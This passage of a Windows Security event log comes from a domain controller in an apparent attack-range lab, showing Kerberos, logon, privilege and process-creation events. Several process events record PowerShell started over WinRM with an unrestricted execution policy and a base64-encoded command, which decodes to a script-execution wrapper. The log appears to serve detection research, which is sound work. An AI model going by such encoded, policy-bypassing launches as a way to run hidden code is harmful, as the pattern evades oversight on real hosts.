session key. This will be 0 if no session key was requested. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253174 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253173 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253172 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253171 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x196FE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253246 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1368 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253245 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A372 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253244 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A372 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253243 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253242 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253241 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253240 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1368 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x558 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253239 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x558 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253238 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A0AC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253237 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A0AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253236 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253235 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was 